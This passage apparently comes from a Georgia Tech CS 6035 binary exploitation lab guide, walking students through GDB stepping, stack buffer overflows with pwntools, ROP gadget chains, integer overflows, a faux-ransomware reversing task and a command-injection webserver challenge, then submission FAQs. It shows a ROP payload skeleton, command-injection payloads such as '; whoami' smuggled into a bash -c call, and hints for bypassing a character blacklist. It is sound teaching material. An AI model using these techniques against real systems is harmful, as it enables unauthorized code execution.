step over this to the mov instruction at 0x401295. We want to follow the control flow into bb_steps() instead, so we’ll step inside using: pwndbg> si After that, you will notice we are now in the bb_steps() function. We can now make larger “next” (n) steps (vs. the more granular “next instruction” or ni) which will traverse the code flow faster by logical instruction blocks. Go ahead and see how this progression synchronizes with the SOURCE (CODE) display readout until you hit the scanf() method. You can (and should) also take some time to observe the changes in the registers that are taking place with each __asm() line from the source code. pwndbg> n At the end of the ASM instructions, you will be prompted to enter in the answers for the two registers RBX and R15. You can enter these into GDB if you want to; however, in order to get the official/valid flag for submission you will have to save your answers, exit GDB, and then enter them into a non-debug binary run, e.g.: binexp@cs6035:~/binexp/01_bb_steps$ ./flag What value is currently in RBX?: 0x Upon correctly answering the questions, you will see your flag printed out, which you can copy into the json file! Common Pitfalls “Is this a buffer overflow exercise?”No.“What kind of input is the binary expecting?”The first two questions are expecting you to pass a hex value formatted as a string (i.e. “0xdeadbeef”). The last one will also be a string, but – as an academic exercise – we leave it up to you to determine how it should look.Step 1.3: Exercise 2 02_assemble_the_assembly Resources • https://www.felixcloutier.com/x86/ • https://en.wikipedia.org/wiki/X86_instruction_listings Challenge Instructions This challenge will have you determine which series of assembly instructions will direct the code flow into constructing a call that will get the flag. As the challenge name implies, you get to pick the instructions from a limited menu of options that can lead to that outcome. As the more difficult challenge, guidance for completing this challenge will be a bit more sparse and require you to lean on what you’ve learned thus far to accomplish the task. However, there are some things worth highlighting: One of the first things you’ll want to do is figure out the target address you want to go to. Try reading the source code (flag.c) and seeing where – logically – that might be; where in the source code is the program making a call to read from /proc/flag? When you’ve identified what looks appropriate, try dumping the instruction set for the binary using objdump: objdump -D flag > flag.asm You can then read/search/parse through the generated flag.asm file to look for an appropriate address that lines-up with where you want to go; try looking for the function name(s) to help narrow down your search. Alternatively, you can use GDB and query the addresses directly (much like we did with the register state up at the top of this section). Once you find your address, you need to determine what subset of instructions would be necessary (and in what order) to get there and – ultimately – return your flag! Common Pitfalls “Is this a buffer overflow exercise?”No.“What kind of input is assemble_the_assembly looking for?”If you’re uncertain about what the binary’s expecting, we would direct you to the `flag.c` source code. If your input does not match one of the supplied switch cases, then it lands into the default case and executes that.“Do I need to use all of the switch case statements?”No, you do not. If you get stuck, you might be interested in knowing that there are several different (but valid) combinations available that would result in the binary giving you the flag. Try to understand what the operations are doing (vs. blindly guessing). Stage 02• Overview o Learning Objectives o Exercises • Step 2.1: o What is the stack? Why do we care about it? o What’s the danger? • Step 2.2: Exercise 1 • Step 2.3: Exercise 2 • Step 2.4: Exercise 3 Overview Now we get into the meat-and-potatoes of the binary exploitation project! Recall in Stage 0 what we did in the guided exercise of 01_basic_overflow_1: we learned how C could be a memory-unsafe language. More to-the-point: we performed a buffer overflow, thereby overwriting a variable (which altered the code flow of the process). It turns out that this kind of vulnerability can extend to overwriting other areas of the execution stack as well. In this section, we’re going to have our first look at stack-based overflows and learn the building blocks that will enable us to tackle more challenging exploits. Learning Objectives The core learning objectives for this section are: • Understanding the stack and stack-smashing comprehension • Working with pwntools and basic exploit development • Foundational considerations for code flow redirection Exercises This section features 3 exercises: • 01_basic_overflow_2 • 01_mismatch • 02_memento Step 2.1: What is the stack? Why do we care about it? In computer science, the stack is a contiguous block of allocated memory. As functions get called, said function’s variables get memory allocated on the stack; as the function call is resolved, the memory for the variables are de-allocated and removed. Helping organize and control this process are the RBP and RSP registers, which store the base pointer and stack pointer values, respectively. These pointers help reference either end of the stack frame and are useful both for pushing/popping values on/off the top of the stack (RSP) or referencing local variables (RBP).For the purposes of binary exploitation (and by extension, this project), this is useful to us in a lot of different ways. We’ve already seen how overflowing the stack can allow us to overwrite local variables contained within that particular function’s stack frame; but the real utility from this comes from writing into other stack information. Consider what was described above: when a function call is resolved, it executes a ret assembly instruction to return the execution flow back to wherever it was originally invoked from: that destination is preserved in the stack! Since we’re already overflowing other values in the stack, we can likewise overwrite the destination that the ret instruction goes to!What’s the danger? Now all of the above can feel quite abstract – especially if you’ve only ever learned about buffer overflows (or similar memory-based attacks) in academic textbooks. But there’s actually substantial security risks in being able to hijack a process’ control flow at runtime. In all of the exercises that follow, we merely direct you to exploit the binary into reading from /proc/flag. But we could – in theory – make these binaries do anything we wanted under the EUID of the process (binuser); that’s not particularly useful/threatening in our case (since binuser has similar privileges as the user you’re already logged in as, binexp), but imagine the risks that poses for a vulnerable process running under elevated privileges; if we were to exploit a process running as root (or Administrator, in Windows parlance), we could force the process to perform actions as root. This goes without even addressing the potential harms to what the software itself is responsible for (one could only imagine the potential impacts that could happen to software responsible for payroll or critical infrastructure, for example). And before you go writing buffer overflows out as yesterday’s news – there continue to be many reported to this day. Again however, we’re not going to be going that far in this class; these exercises are merely meant to get us acquainted with this class of vulnerability and comfortable with exploiting it at a basic level. Step 2.2: Exercise 1 01_basic_overflow_2 Resources • See our buffer overflow tutorial video • e.py (see the Instructor’s Note in the code comments) Challenge Instructions In this task you will learn details about binaries compiled from C code (with gcc) in a Linux environment, and how some basic things can be exploited such as process redirection or control flow hijacking. We strongly encourage students consult the intro video included in the resources section above to help orient you to the task more generally. For this task you have an executable binary named flag which is vulnerable to a buffer overflow in one of its functions. We will be using a Python exploitation library called pwntools to automate some of the overflow techniques and get the binary to call a function it otherwise wouldn’t have. This function called call_me() generates a key using your Gradescope User ID to get a valid flag that you will ultimately write to your project_binexp.json file for grading. Now we will run the binary just to see what the program is doing: $ cd ~/project/01_basic_overflow_2 $ ./flagWe see the binary is asking for a string. Input any text you want or just press enter and you’ll (likely) see that the program does nothing and just exits. That would align with our expectations from reading the source code (flag.c). If we look into the read() function, we can learn… read() attempts to read up to count bytes from file descriptor fd into the buffer starting at *buf Oh no! In this case, read() will write up to 1000 bytes into the buffer, but buffer is only sized for a lesser amount. As we learned earlier, a buffer overflow occurs when too much data is fed into an unprotected (or poorly protected) data buffer; it would appear that flag is vulnerable to a buffer overflow. DEVELOPING THE EXPLOIT Open e.py with your preferred text editor (the VM comes with xed by default) and analyze the content and comments. Once you understand what they do, proceed to uncomment the code in Part 1 and fill out the cyclic() size. What size do you need to make payload in order to trigger the segmentation fault from the buffer overflow? After this, run the exploit through GDB: python3 /home/binexp/project/01_basic_overflow_2/e.py dbg This will open up a GDB terminal with a breakpoint set at main(). Within that terminal, pass the “continue” or “c” command to resume the process execution.Note: the above screenshot is intended to be demonstrative; your actual values may not match what’s shown. If you’re not seeing the ret instruction overflowed with cyclic() data, you may need to increase the size of your input (perhaps considerably so!). We see the program received an interrupt signal for a SEGMENTATION FAULT (SIGSEV, or an invalid access to memory). This happens when the program tries to access memory at a certain location that it either isn’t allowed to access, or doesn’t exist. In this case the return address for the function was overwritten by cyclic()’s data in the form of a long string of character bytes. Pay attention to the bottom of the screenshot where the instruction pointer is currently trying to ‘ret’ (return) to 0x6561……616b which is just a string of ASCII characters in hexadecimal form. Now that we know how to break the binary, let’s figure out how to be a little more deliberate/purposeful. Using a pwntools method called cyclic_find() we enter in the bottom 32 bits (4 bytes) of the return string (in the screenshot, the example is 0x6561616b) which will give the number of characters before reaching that value. By knowing exactly how much input we need to overflow our target, we can – in theory – overwrite the target with an arbitrary alternative, thereby hijacking the control flow. Need more insight into the above? Try checking our FAQ for more details on cyclic() and cyclic_find(). Returning back to e.py, go to “Part 2” in the code comments and update the value for offset based on what you’re seeing from above. Our goal at this step is to validate that we do – in fact – have total control over our target in memory. You might be tempted to skip this step, but you run the risk of simply assuming you’re correct when you’re not; many students have lost hours/days of project time troubleshooting exploits in other exercises because there is something amiss with their offset. After you have done that, rerun e.py with the dbg option – ensuring to (c)ontinue again when the pwndbg terminal opens again.If done correctly, you should see something like this screenshot. If you check the ret instruction, we are now failing on an invalid access to our dummy address. Stepping away from the pwntools library for a moment, we now need to find something usable within the binary that will allow us to actually call a function or do something other than just crashing the program. Now we will use a linux command objdump which takes a binary file and will output a dump of the binary’s assembly. The -D flag will output binary addresses, machine code, and assembly code of the binary into a file. objdump -D flag > flag.asm Then open flag.asm. You will see a bunch of (likely) confusing information that – at a high level – translates to the code that you can see in the flag.c file. You aren’t going to have to go through this file at length (unless you want to); we are just going to focus on finding an address within the binary file that holds the machine code responsible for reading from /proc/flag. Search flag.asm for call_me in order to find corresponding assembly instructions. The last part of this exercise is figuring out which assembly instruction is most apt to jump to. Leverage what you learned in the previous Stage, the linked materials in the “Resources” section, and try to determine where it would be best to ret to! When you’re ready, update “Part 3” in the e.py file and run your exploit: python3 e.py Common Pitfalls “What’s the important takeaway?”This is a key exercise to grasp and understand thoroughly for what’s ahead, especially if the tools/concepts are new to you. At a high-level, we’re presenting a kind of methodology to model our work against:1. Assess/evaluate the binary and come up with a plan of attack. Where are the vulnerabilities? How can we reach them? How would we use them? 2. Construct an input – with or without e.py – so as to trigger a segmentation fault, affirming the existence of the buffer overflow. 3. Substitute your input with a uniquely sequenced string (likely with cyclic()) so as to fingerprint which areas of memory are overflowable, including the `ret` instruction. 4. Calculate the offset to those particular area(s) using cyclic_find(). Affirm control of the overflowable areas by appending a known bad value (e.g. 0xdeadbeef). 5. Build out the remainder of your exploit.Be sure to consult the corresponding bof tutorial in /home/binexp/tutorial/bof and the video lecture listed in the resources section!“Which instruction in call_me() am I supposed to jump to?”This isn’t meant to be a guessing exercise, though it might feel like one if you don’t understand how to read assembly. We recommend holding up the source code against the `objdump` assembly instructions and annotate line-by-line what’s happening. This should help make it much more clear what options we might consider.“I’m jumping into call_me() and seeing the call to the flag generator but nothing’s happening. What’s wrong?”The most likely cause is a stack misalignment issue. See Q8 in our FAQ. Step 2.3: Exercise 2 01_mismatch Resources • See our buffer overflow tutorial video Challenge Instructions Now it’s time for an unguided exercise for the section. This time you need to account for adjusting more than just 1 variable in memory. Here are some suggestions for getting you started: • Your first actions should be the same as any other binary in the project: read the source code (flag.c) and try running the binary to get an understanding of what the program does at runtime. • Next, try performing a basic overflow of the program and see what values you can overwrite in GDB. You can view the hex values of a given variable in GDB with the command like x canary1 (or print out their string representations as p/s canary1), if it helps. • The tricky part for this task is in keeping track of multiple offsets relative to one another. o Since you have 2 variables (canary1 and canary2) to overflow, only one of them is going to be offset from buffer’s position. The other one will be offset from the input of the first variable. Common Pitfalls “I can’t get the process to SEGFAULT!”There’s a few things to bear in mind here: do we need to overwrite RET in order to arrive at our system() call to read /proc/flag? And have we understood the source code as to why we aren’t able to overflow that operation?Step 2.4: Exercise 3 02_memento Resources • See our buffer overflow tutorial video Challenge Instructions In theory, this task is not unlike your run-of-the-mill basic overflow. You can trivially configure an exploit to trigger the segmentation fault and see areas of memory that have been overflowed with your input. In practice however, you’ll find that this binary does something with your input to make things trickier; because this task is so tightly-coupled to this twist, the guidance we have to offer is relatively sparse. We suggest the following to help get you going: • Start at the beginning. As always, review the source code. Your task will be to understand what the process if doing with your input (and the implications that means). • Once you understand the above, you should perform the steps of the basic overflow – adjusting as needed to account for the changes the code is doing to your payload. • Understanding the structure of the stack, how your pwntools functions work, and endianness will serve you well. Common Pitfalls “I’m jumping into call_me() and seeing the call to the flag generator but nothing’s happening. What’s wrong?”The most likely cause is a stack misalignment issue. See Q8 in our FAQ.“Pwntools’ cyclic_find() isn’t giving me a correct offset. What’s happening?”Speaking in general, the exercise’s “twist” is generally understood by students at a high-level; it is relatively trivial to see what’s happening (especially in seeing your altered input get printed back to stdout). However, the nuances of what that means – in memory, with your tools, in your payload – is where people get tripped-up. Usually, it all comes back to understanding the twist and determining whether or not you’re appropriately accounting for it all the way from how you read the source code, what you are reading out from memory, what you are passing to your pwntools functions, and how you arrange your payload. Typically the fault is because there is some oversight at one of the above-named steps.Stage 03• Overview o Learning Objectives o Exercises • Step 3.1: o So what are ROP gadgets? o So how are function calls made? • Step 3.2: Exercise 1 • Step 3.3: Exercise 2 Overview It’s been a few years since “Smashing the Stack For Fun And Profit” was originally published; since that time additional binary protections have been enacted to mitigate the dreaded buffer overflow. This includes things like: • Address Space Layout Randomization (ASLR), which randomly arranges the address space positions of key data areas of a process. • The No eXecute (NX) bit (otherwise known as Data Execution Prevention – DEP), which marks certain areas of the program as not executable (including the stack). • …and much, much more. But this hasn’t stopped buffer overflows from being problematic. Return-Oriented Programming (ROP) is a technique that was developed to otherwise bypass these and other controls. At its heart, ROP makes use of snippets of code that already exists within the binary – so called “gadgets” – in order to manipulate the code flow. Learning Objectives The core learning objectives for this section are: • Understanding function calls within 32- and 64-bit systems • Working with ropper and understanding gadgets Exercises This section features 2 exercises: • 03_inspector_gadget • 03_ROPscotch Step 3.1: So what are ROP gadgets? At its heart, the “return” in “return oriented programming” is what defines every gadget out there. If you were to dump the assembly instructions from these binaries (e.g. using objdump), you would find any number of instruction sequences that terminate with a ret instruction. By jumping into these instructions, we allow for some atomic, register-oriented actions to take place before the ret instruction hits, thereby returning the execution flow back to the stack (which we ideally control, given our stack-based overflow techniques). As an exercise, try dumping the assembly from our first problem in Stage 00 and CTRL+F search through the resulting flag.asm file for instances of the ret instruction: objdump -D ~/binexp/01_basic_overflow_1/flag > flag.asm Now – obviously – manually parsing through an objdump for a list of operations preceding ret is quite tedious; this is compounded by the fact that not all instruction sequences are necessarily useful to us. Fortunately, we have a tool available for us to quickly identify all number of gadgets on our behalf: ropper! As a follow up, try using ropper on the same binary: ropper –file ~/binexp/01_basic_overflow_1/flag Do the addresses match? In essence, we’re still performing jumps to areas in code – much like how we were in the stack smashing portion; only this time, we’re additionally leveraging these gadgets to do some setup and register manipulation in order to allow us to get some other malicious actions done. So how are function calls made? Thus far, you’ve seen at least one example for how functions are called through assembly instructions and registers: recall the call instruction, which we’ve looked to several times in the past several exercises. Up until now however, you’ve probably not thought about the structure/setup that these function calls have had to observe. What happens – for example – when a function has an argument (or two+)? Here is one difference between 32- and 64-bit architectures that’s worth noting. In 32-bit architectures, these arguments are pulled from the stack; by contrast, in 64-bit architectures, these values are referenced from the registers.So, for example, when foo(bar,baz) is invoked in a 32-bit system, we’d want a payload looking something like: payload = cyclic(…) payload += p32(foo) payload += p32(pop_pop_ret_gadget) payload += p32(bar) payload += p32(baz) In the above example, first the function call to foo() is crossed in the stack. When that function call is made, the very next value in the stack is considered the return address; in this case, we’ve overflowed it as being an arbitrary pop_pop_ret gadget (I say “arbitrary”, because it largely doesn’t matter which registers – save for reserved ones like EIP, ESP, and EBP – will hold the removed values in 32-bit systems). The next values in the stack fit the sequential order of arguments expected (first bar, then baz). In this case, we’ve used the particular gadget because of how it will remove bar and baz from the stack after execution by “popping” them; this sets us up for sequential function calls as needed (aka ROP chaining). There’s a subtle difference when it comes to 64-bit systems like the VM the project is hosted on. In those kinds of systems, you want to lead with the ROP gadget first. This is because it’s necessary to stage the arguments for the function before it’s called. Moreover, we need to be quite selective about which ROP gadgets we reach for (vs. the more arbitrary choices in 32-bit systems); this is because functions will look to specific registers for their values (starting with RDI for the first argument). More generally, you’d want your payload looking like this:Assuming that the initial address you overwrite in your buffer overflow is a “pop” gadget, the code flow will… 1. (ret)urn to the pop gadget, popping the arguments off the stack and into the respective registers. 2. At the end of the gadget, it will (ret)urn again – this time to the address of the function in question. 3. When the function ends, it will (ret)urn back to whatever’s next in the stack; if we’re chaining ROP calls, this would mean going back to step (1). Step 3.2: Exercise 1 03_inspector_gadget Resources • See our ROP tutorial video • https://www.uclibc.org/docs/psABI-x86_64.pdf (see figure 3.4: register usage) • https://cwe.mitre.org/data/definitions/367 • https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf Challenge Instructions In this task, we’re going to build on our understanding of ROP by having you dig into more complicated gadget chains. Additionally, we’ll also need to work with yet another kind of vulnerability: race conditions! As always, evaluate the source code and try to come up with a plan of approach before you start exploiting. On ROP In past examples, we’ve shown how function calls in 64-bit systems have relied on arguments being placed in their appropriate registers. This is trivial when we have gadgets on-hand that simply pop the value off of the stack and into the register. However, we’re not always so fortunate as to have such options available. Instead, there’s usually a multitude of more complex gadgets present that we need to string together in a chain in order to setup our function calls. For example, instead of… pop rdi; ret; We might need to utilize 2 or more gadgets to achieve the same effect like… pop rbp; ret; mov rdi, rbp; ret; In the above example, the first gadget pops the stack value not into RDI, but into RBP. We then use the 2nd gadget to move that popped value from RBP and into RDI. For this exercise, we’ve provided a slew of such semi-useful gadgets in the gadgets() method of the flag.c source code. While you can solve the task using these exclusively, you’re more than welcome to identify other working gadgets using ropper on the binary as well. RACE CONDITIONS A race condition is a kind of concurrency problem when two or more threads/processes attempt to access shared data simultaneously. Because the execution order is unpredictable, this can lead to unexpected behavior, data corruption, or even program crashes. Because race condition vulnerabilities are unpredictable, exploiting them sometimes can require multiple iterations/attempts before catching the desired aberrant behavior. TOCTOU A Time-of-Check, Time-of-Use (TOCTOU) race condition occurs when there is a split between when a resource is initially accessed and when that same resource is actually utilized. If these operations are not atomically secured/linked, then a vulnerability arises where that resource can change between when it’s checked/used. This particular exercise makes use of a kind of TOCTOU in practice, but you’ll need to identify how to construct your exploit appropriately around it. As always, make sure user.txt is set properly before reading from /proc/flag or else Gradescope will reject your hash! Step 3.3: Exercise 2 03_ROPscotch Resources • See our ROP tutorial video Challenge Instructions In this task, we’re going to layer our working understanding of stack-based overflows in performing some ROP. Additionally, we’ll grapple with yet another vulnerability: Integer overflows! Look over the guidance below and then extend it to the source code in figuring out how to exploit flag and get your hash! INTEGER OVERFLOWS While numbers more abstractly can extend to values +/- infinity, classical computers cannot hold such unbound values (or rather, various representations of said numbers are capped). Let’s take a contrived example of an unsigned nibble (4-bits). In this case: 0000 Would be the smallest value that could be represented (0 decimal) and… 1111 Would be the largest value that could be represented (15 decimal). In the above case, incrementing the max value (15) by 1 would cause the stored amount to overflow, looping the value back around to 0. Inversely, decrementing the minimum value (0) by 1 would cause the stored amount to underflow, looping the value back around to 15. How would the above example change if we used a signed representation – where the most-significant bit controlled whether the value was positive/negative? Failures to account for these kinds of issues (i.e. having to handle larger/smaller values than anticipated) can have knock-on consequences for systems, sometimes even fatal ones. TYPE PROMOTION/DEMOTION There are other ways for integer overflow/underflows to occur than just incrementing/decrementing values. One such method is via type promotion/demotion. This can occur when a value of one type (e.g. char, size 1 byte) is cast to another data type (e.g. short, size 2 bytes). When a smaller datatype is promoted, the new bits are maximally extended (i.e. 0000 becomes 11110000). Conversely, when a larger datatype is demoted, the most significant bits are truncated (i.e. 11110000 becomes 0000). If not properly accounted for, this can have unintended consequences. For example, if we demote a signed char value of decimal 121 (01111001) to a nibble (1001), we end up with -7 if signed or 9 if unsigned. On ROP • Once you’re able to perform the actual buffer overflow, you should find the necessary ROP gadget(s) you need to make your function call. o But which function should you call? almost()? system()? Something else altogether? • Another troubling problem is that there doesn’t appear to be a call being made to read /proc/flag anywhere. Fortunately – just like with the ROP gadgets – all of the pieces of code/data you need already exist within the binary, you just need to piece the function call(s) together with argument(s) that already exist! Common Pitfalls “I’m jumping into call_me() and seeing the call to the flag generator but nothing’s happening. What’s wrong?”You might think that this is a similar stack alignment issue as discussed in our FAQ (Q8) and – in a way – you’d be right. However, for this particular problem the root cause is typically attributed not to picking the right/wrong gadget/instruction, but in having copied too much data and corrupting the stack.To solve this, most students need to revisit the integer overflow portion of the assignment. A lot of students try to see if they can get away with passing a maximally-sized value to num, not realizing there’s more than one type promotion/demotion vulnerability to consider in the exercise. Where is the second one taking place and why is it an issue?________________________________________ DISCLAIMER: This website and its content are provided for educational purposes only as part of CS 6035 at Georgia Tech. Students are responsible for verifying all information and should not rely solely on website content for academic decisions. Course materials, assignments, policies, and deadlines are subject to change without notice. Georgia Tech and course instructors are not liable for any damages resulting from use of this website or its content. External links are provided for convenience only and do not constitute endorsement. Students must comply with all applicable academic policies and honor codes. Virtual machine exercises and security tools are for educational use only – unauthorized use against real systems is prohibited. © 2025 Georgia Institute of Technology. All rights reserved. Unauthorized reproduction, distribution, or commercial use is strictly prohibited. Stage 4• Step 4.1 o Exercises • Step 4.2: Exercise 1 • Step 4.3: Exercise 2 • Step 4.4: Exercise 3 Step 4.1 Welcome to the final section of the Binary Exploitation project! We reserve this section semester-over-semester for more advanced topics as well as binaries that we feel help extend student comprehension over the prior sections. Topically, the exercises do not necessarily relate to one-another and thematically should be approached as being distinct in their learning objectives. Exercises This section features 3 exercises: • 03_ransom • 02_looper • 02_webbing Step 4.2: Exercise 1 03_ransom In this task, we’re going to (loosely) reverse engineer some faux ransomware (instructor note: this isn’t actually ransomeware; the binary is harmless to your VM and host system). You’re presented with the following files: • flag.enc: This is the flag binary (compiled from flag.c) but it’s been encrypted by the ransom binary! You need to figure out a way of decrypting this in order to run it and retrieve your flag. • ransom: This is the ‘ransomware’ that was used to encrypt the flag binary into flag.enc. You need to reverse engineer and exploit this binary in order to decrypt flag.enc. It was compiled from ransom.c. Understandably, this is a bit of a tougher task than what you might have approached previously. So here’s some suggested considerations: • The ransom binary uses DES to encrypt/decrypt files. However, you do NOT need to understand the underlying workings of DES in order to solve this task. We’ve abstracted away the encryption/decryption code itself for this reason. Cracking/breaking DES is not the intended approach and falls outside the scope of this challenge. • If it’s helpful, you can encrypt other files using ransom to better understand what’s happening, if you’d like. Don’t worry – ransom actually just makes an encrypted copy of the original, so you’re not at risk of genuinely harming your system/data unless you delete the original version. Using ransom on a test file and then comparing the two might be insightful. Linux has all kinds of tools available to that end: o ls -l o xxd o stat o hexdump o od -Ax -tx1z o chmod –help • flag.enc was encrypted using an 8 byte key (e.g. “aaaabbbb”). One of the first things you’ll need to do is figure out what this key is; without this key, you will not be able to decrypt flag.enc. We recommend using ransom’s encrypt functionality on some test files and observing what becomes of your known keys; what does ransom do with the key after encrypting the binary? Try examining your encrypted files in some of the ways mentioned above. • Once you’ve found the key, you need to figure out a way to decrypt flag.enc. Once again, examining the source code of ransom will likely lead you to some ideas for how you might go about this. • When ransom decrypts flag.enc, it will be output as flag.enc.dec. If it was decrypted correctly, then you should be able to set the execution bit (see chmod, above) and run it to attain the flag hash. • There are actually 2 flags for this challenge: o The first flag comes from pwning the ransom binary. This is within the deadcode() function in the ransom.c source code. That flag belongs in the 03_ransom_binary spot in your project_binexp.json deliverable. o The second flag comes from successfully running the decrypted version of flag.enc; that flag belongs in the 03_ransom_flag spot in your project_binexp.json deliverable. o For full credit on this task, you need to submit both hashes in your JSON submission. Common Pitfalls I keep getting “Error setting DES encryption key: success” when I try to encrypt files; what gives?There’s some quirks about DES keys that don’t lend themselves to just any arbitrary 8 characters; that’s not really important to this challenge, but hopefully explains why you get the error message for some of your test keys. If you’re wanting a known “good” test key to try encrypting files with, use the suggested one above (i.e. “aaaabbbb”).Why does my exploit in GDB show an error like “[Inferior 1 (process 13227) exited with code 01]” when I enter deadcode()?This is a message from GDB saying the binary it’s debugging called `exit(1)`; this coincides with the last statement of the deadcode() method. This would suggest the exploit has run until completion.Step 4.3: Exercise 2 02_looper Resources • https://www.asciitable.com/ Challenge Instructions In this task, you are performing another buffer overflow (or maybe several!) in order to break out of a while() loop. Here’s some suggested guidance: • There’s a couple of things at work here, so – as always – carefully read the source code to understand what is going on. • The ideal way to exit the while() loop is to have the flag and breaker variables match. Since they do not align by default, this means either one or the other (or both) will need to be forcefully overwritten/set. But how? • The developer of this binary thought they could protect against buffer overflows by constraining user input in a struct; this isolates flag and breaker from being directly overflowed (at least insofar as what has been seen in similar challenges). Furthermore, they added a kind of “canary” within the struct (checkme) to help assure data integrity within the struct. Does this prevent the buffer overflow from happening? • Even if the struct were to become compromised, breaker has a couple of other tricks in place to mitigate a buffer overflow. But can these also be accounted for? Step 4.4: Exercise 3 02_webbing Resources • https://askubuntu.com/questions/334994/which-one-is-better-using-or-to-execute-multiple-commands-in-one-line • https://en.wikipedia.org/wiki/Input_Field_Separators Challenge Instructions In this challenge, you are tasked with exploiting a binary (flag) that acts as a basic webserver. When run, flag hosts a bare-bones app on http://localhost:8080 that echoes back whatever input the user provides it. Looking through the binary’s source code, you may observe that it is not immediately obvious where/how you are meant to exploit the binary. Note the total absence of a system call to /proc/flag! So what are we meant to do? Let’s start by examining how the Linux commandline interface behaves. Feel free to copy the commands as we step through this orientation to see for yourself how they work. If we wanted to run multiple commands (such as whoami and id) we could enter them in as separate, distinct commands like so: binexp@CS6035:~$ whoami binexp binexp@CS6035:~$ id uid=1002(binexp) gid=1002(binexp) groups=1002(binexp),100(users),986(vboxsf),1003(student) However, Linux also permits the execution of multiple commands in a single line – allowing them to be executed sequentially. Functionally, this feature exists to enhance flexibility and efficiency. As such, we could do the exact same as above along a single line using a semicolon separator like so: binexp@CS6035:~$ whoami; id binexp uid=1002(binexp) gid=1002(binexp) groups=1002(binexp),100(users),986(vboxsf),1003(student) NOTE: there are a number of different separators/terminators besides a semi-colon that exist and not all of them behave the same. Some may output only one of the commands, some may predicate on the successful execution of the commands in sequence, etc. Looking into flag.c, we can observe an interesting vulnerability within execute_echo() that exploits this condition. Specifically, these lines here: snprintf(command, sizeof(command), “echo %s”, ip); snprintf(shell_command, sizeof(shell_command), “/bin/bash -c ‘%s'”, command); FILE *fp = popen(shell_command, “r”); In the first line, user input (ip) is appended to the string echo %s, replacing %s. This string – in turn – replaces the %s in the command string /bin/bash -c ‘%s’, which gets ran as: /bin/bash -c ‘echo ’ In the above case, if the user input (ip) isn’t sanitized/screened, we could inject arbitrary commands that get passed back to bash to be executed. For example, in the case of ; whoami as the payload, this gets formatted as: /bin/bash -c ‘echo ; whoami’ The above is akin to: binexp@CS6035:~$ echo ; whoamibinexp In the above example, the injected payload terminates the echo command, then runs the whoami command (where we can see the output as “binexp”). We can expand this vulnerability and get creative about what other kinds of commands we could run instead of simply whoami in order to read out from /proc/flag. Now unfortunately, execute_echo() does some sanitization of user input, so we cannot trivially do the above. That said, the protections are far from exhaustive and we bet you can still figure out how to perform a command injection and retrieve the flag! Our suggested guidance: • This is NOT a buffer overflow exploit. You are wasting your time if you try that approach. • A good starting point is to try getting a basic command injection payload working. See if you can inject the id command, for example. This is easier because of how succinct it is (and the lack of arguments you need to provide it). • There are multiple ways to go about crafting a working payload that will bypass the protections and read from /proc/flag. If you’re getting stuck thinking one way should work, try looking into alternative approaches. • Chances are that passing payloads directly from the web interface is bound to have issues. When you submit payloads this way, certain characters in the form data are automatically URL-encoded (i.e. a semi-colon gets converted to %3B). Again, there’s a number of ways around this, if desired; we suggest either using your e.py script or manually submitting requests via cURL. • This challenge more generally is about the nuances of CLI. If you’re stuck, it’s worth looking into how Linux interprets/ignores certain commands/characters. You might also look into character substitution methods (i.e. how else can we represent the blacklisted characters?). Common Pitfalls“Gradescope keeps rejecting my flag!”Bear in mind that the binary has to be what calls on the flag to be made (vs. some other shell/terminal, for example). As a courtesy, our flag generator notes what calling process invoked the read to /proc/flag, so we encourage you to reference that to ensure your exploit is working properly. Submission Details • Submission Details o FAQ Q1) What does a flag look like? Q2) Do I need to submit to both Gradescope and Canvas? Q3) How many attempts can we submit to Gradescope? Q4) Once I submit to Gradescope, when will I get my grade? Q4) Do I get partial credit for passing some tasks? Q5) How late can I submit to Gradescope? Q6) Can I get an extension on my project deadline? Q7) Gradescope isn’t recognizing my flag as valid; what do I do? Q8) Gradescope timed-out processing my submission; what do I do? Your grade for this project will be handled through Gradescope. You will submit just one file: project_binexp.json, which you should receive as an unfilled template on your VM. If you did not – or cannot otherwise locate it – below is the template that you can copy: { “01_bb_steps”: “”, “01_mismatch”: “”, “01_basic_overflow_1”: “”, “01_basic_overflow_2”: “”, “02_assemble_the_assembly”: “”, “02_memento”: “”, “02_looper”: “”, “02_webbing”: “”, “03_ransom_flag”: “”, “03_ransom_binary”: “”, “03_ROPscotch”: “”, “03_inspector_gadget”: “” } FAQ Q1) What does a flag look like? Flags are produced in reading out from /proc/flag on the VM. They are a long sequence of hex characters. An example of a flag is shown in the screenshot below:In the above example, you would copy the portion between the “Start FLAG” and “End FLAG” delimiters to the appropriate spot in your project_binexp.json file. Q2) Do I need to submit to both Gradescope and Canvas? No. For this project, you will only submit your work to Gradescope. Q3) How many attempts can we submit to Gradescope? There is no limit to the number of times you can submit to Gradescope. By default, Gradescope retains your latest submission (not your highest scoring one); you can manually change which submission attempt should be considered for your final grade within the Gradescope submission interface. We will not be changing this for you. Q4) Once I submit to Gradescope, when will I get my grade? Grades will be released after the due date + any extensions have expired. However, Gradescope will give immediate feedback to you on whether or not your flag(s) pass our autograder checks. There are no hidden tests, so you can be confident that your score in gradescope will reflect your final grade for the project (barring extra credit – if offered – and/or any issues with academic integrity). Q4) Do I get partial credit for passing some tasks? You get credit for each correct flag successfully submitted to Gradescope. If you do not get a correct flag, you are not awarded points for that portion of the project. Q5) How late can I submit to Gradescope? This project has a firm deadline with no late submission policy; please consult the syllabus schedule. Once opened, Gradescope will show when the deadline is along with how much remaining time you have. Because there are no limits on the number of submission attempts you have, we encourage you to submit early and often. Waiting until the project deadline introduces risks (i.e. Gradescope being flooded by hundreds of student submissions at the same time, Gradescope timing out, etc.); generally speaking, we do not extend the project deadline for such service outages. Q6) Can I get an extension on my project deadline? In most cases, no. This includes things like vacations, busy work weeks, general fatigue, etc. Project extensions will be considered on a case-by-case basis for instances like natural disasters, military deployments/mobilizations, and medical hospitalizations. However, we will require documentation as appropriate (e.g. doctor’s note, military orders, etc.). ODS accommodation letters do not automatically grant you extensions; such instances are determined on a case-by-case basis as to how best implement the accommodation – not all assignments are subject to extension. If you have such an accommodation letter, please reach out to the TA team as early as possible so we can be made aware. As much as can be helped, please notify the TA team as early as possible of your request for an extension. Q7) Gradescope isn’t recognizing my flag as valid; what do I do? There’s a variety of things that could be contributing to this. Here’s some troubleshooting steps: • Double-check that /home/binexp/user.txt is set to your GTID; do not add other characters, such as single- or double-quotes. • Make sure you’ve copy/pasted the flag in its entirety; occassionally we encounter user error where students miss 1 or 2 characters. • Your choice of text editor may have introduced invalid characters into the project_binexp.json file. This is common with software like LibreOffice and MS Word Document editor. We recommend editing the file either from the command line with vim or through the 